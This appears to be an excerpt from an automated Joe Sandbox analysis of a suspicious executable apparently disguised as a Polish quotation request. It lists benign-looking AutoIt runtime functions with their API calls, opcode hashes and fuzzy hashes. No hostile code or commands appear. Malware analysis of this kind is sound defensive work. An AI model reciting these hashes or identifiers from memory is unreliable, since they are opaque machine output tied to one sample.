Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8

Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004441B8
MessageBoxW.USER32(?,?,?,?), ref: 004441F6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
CloseHandle.KERNEL32(00000000), ref: 00444213

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6

Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00434037
ScreenToClient.USER32(?,?), ref: 0043405B
ScreenToClient.USER32(?,?), ref: 00434085
InvalidateRect.USER32(?,?,?), ref: 004340A4

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2

Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: DeleteDestroyObject$IconWindow
String ID:
API String ID: 3349847261-0
Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D

Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0044B60B
InterlockedExchange.KERNEL32(?,?), ref: 0044B619
LeaveCriticalSection.KERNEL32(?), ref: 0044B630
LeaveCriticalSection.KERNEL32(?), ref: 0044B641

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75

Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC

MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
LineTo.GDI32(?,00000000,00000002), ref: 004472A0
EndPath.GDI32(?), ref: 004472B0
StrokePath.GDI32(?), ref: 004472BE

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
String ID:
API String ID: 2783949968-0
Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA

Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00471144
GetDC.USER32(00000000), ref: 0047114D
GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
ReleaseDC.USER32(00000000,?), ref: 0047117B

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99

Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00471102
GetDC.USER32(00000000), ref: 0047110B
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
ReleaseDC.USER32(00000000,?), ref: 00471139

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99

Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0

Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65

Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON

Download Yara Rule

APIs

__IsNonwritableInCurrentImage.LIBCMT ref: 00414070

Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B

__getptd_noexit.LIBCMT ref: 00414080
__freeptd.LIBCMT ref: 0041408A
ExitThread.KERNEL32 ref: 00414093

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
String ID:
API String ID: 3182216644-0
Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D

Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593

Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287

Strings

Container, xrefs: 004784E0
AutoIt3GUI, xrefs: 004784DB

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CopyVariant$ContainedObject$ErrorLast_malloc
String ID: AutoIt3GUI$Container
API String ID: 3380330463-3941886329
Opcode ID: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
Opcode Fuzzy Hash: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55

Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

Strings

HH, xrefs: 00466678
HH, xrefs: 004665C5

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID: HH$HH
API String ID: 0-1787419579
Opcode ID: d6191838e98fd11d03648c209846f73e934a5a3a8cd563e055064b994aed395a
Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
Opcode Fuzzy Hash: d6191838e98fd11d03648c209846f73e934a5a3a8cd563e055064b994aed395a
Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95

Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004446D4
GetMenuItemInfoW.USER32 ref: 00444711

Strings

0, xrefs: 004446CC

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 329a54ff67d94ba9cc6084adae87fda2d20c3be6e80653badd0ba820d0e67e64
Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
Opcode Fuzzy Hash: 329a54ff67d94ba9cc6084adae87fda2d20c3be6e80653badd0ba820d0e67e64
Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A

Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E

Strings

', xrefs: 004483C2

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A

Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

0, xrefs: 00444600

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA

Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313

Strings

Combobox, xrefs: 004512D1

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768

Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 004515DA
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA

Strings

edit, xrefs: 00451651

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729

Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547

Strings

ComboBox, xrefs: 004694E9
ListBox, xrefs: 00469512

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend_wcslen
String ID: ComboBox$ListBox
API String ID: 455545452-1403004172
Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A

Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660

Strings

ComboBox, xrefs: 00469602
ListBox, xrefs: 0046962B

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend_wcslen
String ID: ComboBox$ListBox
API String ID: 455545452-1403004172
